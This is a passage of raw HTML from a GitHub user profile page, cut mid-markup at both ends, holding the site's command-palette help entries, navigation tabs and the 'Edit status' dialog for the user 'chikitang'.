data-group="modes_help" data-prefix="#" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="["repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix=">" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">></kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[""]" data-supported-scope-types="["","owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="["@","@"]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="["/"]" data-supported-scope-types="["repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="["#"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="["#","!"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="["@",""]" data-supported-scope-types="["owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> <div hidden class="Toast Toast--loading"> <span class="Toast-icon"> <svg class="Toast--spinner" viewBox="0 0 32 32" width="18" height="18" aria-hidden="true"> <path fill="#959da5" d="M16 0 A16 16 0 0 0 16 32 A16 16 0 0 0 16 0 M16 4 A12 12 0 0 1 16 28 A12 12 0 0 1 16 4" /> <path fill="#ffffff" d="M16 0 A16 16 0 0 1 32 16 L28 16 A12 12 0 0 0 16 4z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--error"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-stop"> <path fill-rule="evenodd" d="M4.47.22A.75.75 0 015 0h6a.75.75 0 01.53.22l4.25 4.25c.141.14.22.331.22.53v6a.75.75 0 01-.22.53l-4.25 4.25A.75.75 0 0111 16H5a.75.75 0 01-.53-.22L.22 11.53A.75.75 0 010 11V5a.75.75 0 01.22-.53L4.47.22zm.84 1.28L1.5 5.31v5.38l3.81 3.81h5.38l3.81-3.81V5.31L10.69 1.5H5.31zM8 4a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 018 4zm0 8a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--warning"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--success"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-info"> <path fill-rule="evenodd" d="M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM0 8a8 8 0 1116 0A8 8 0 010 8zm6.5-.25A.75.75 0 017.25 7h1a.75.75 0 01.75.75v2.75h.25a.75.75 0 010 1.5h-2a.75.75 0 010-1.5h.25v-2h-.25a.75.75 0 01-.75-.75zM8 6a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> </div> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <main id="js-pjax-container" data-pjax-container> <div class="mt-4 position-sticky top-0 d-none d-md-block color-bg-default width-full border-bottom color-border-muted" style="z-index:3;" > <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="user-profile-sticky-bar"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav width-full box-shadow-none js-responsive-underlinenav overflow-md-x-hidden"> <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> </div> </div> </div> </div> <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="h-card mt-md-n5" data-acv-badge-hovercards-enabled itemscope itemtype="http://schema.org/Person" > <div class="user-profile-sticky-bar js-user-profile-sticky-bar d-none d-md-block"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> <div class="js-profile-editable-replace"> <div class="clearfix d-flex d-md-block flex-items-center mb-4 mb-md-0"> <div class="position-relative d-inline-block col-2 col-md-12 mr-3 mr-md-0 flex-shrink-0" style="z-index:4;" > <a class="tooltipped tooltipped-s d-block" aria-label="Change your avatar" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_AVATAR","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="fe768eb126278f5ea2e2be2a694fd8f3a8db38717e25f9387d181f875bad4f31" href="https://github.com/account"><img style="height:auto;" alt="" width="260" height="260" class="avatar avatar-user width-full border color-bg-default" src="https://avatars.githubusercontent.com/u/107093285?v=4" /></a> <div class="user-status-container position-relative hide-sm hide-md"> <div class="f5 js-user-status-context user-status-circle-badge-container user-status-editable" data-url="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" > <div class="js-user-status-container user-status-circle-badge d-inline-block lh-condensed-ultra p-2" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-inline-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center "> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" ws-normal user-status-message-wrapper f6 min-width-0" > <div class="css-truncate css-truncate-target width-fit color-fg-default"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="TROZQ1psazHuv4SfB_6CRG81LOswktW22NJDqz2bjfsh_3WyNIJmw91nORchhJS4niNrCWbssHaAEqHwSouerQ" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-false" id="limited-availability-truncate-false-compact-false"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-false"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-false"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> </div> </div> <div class="vcard-names-container float-left js-profile-editable-names col-12 py-3 js-sticky js-user-profile-sticky-fields" > <h1 class="vcard-names "> <span class="p-name 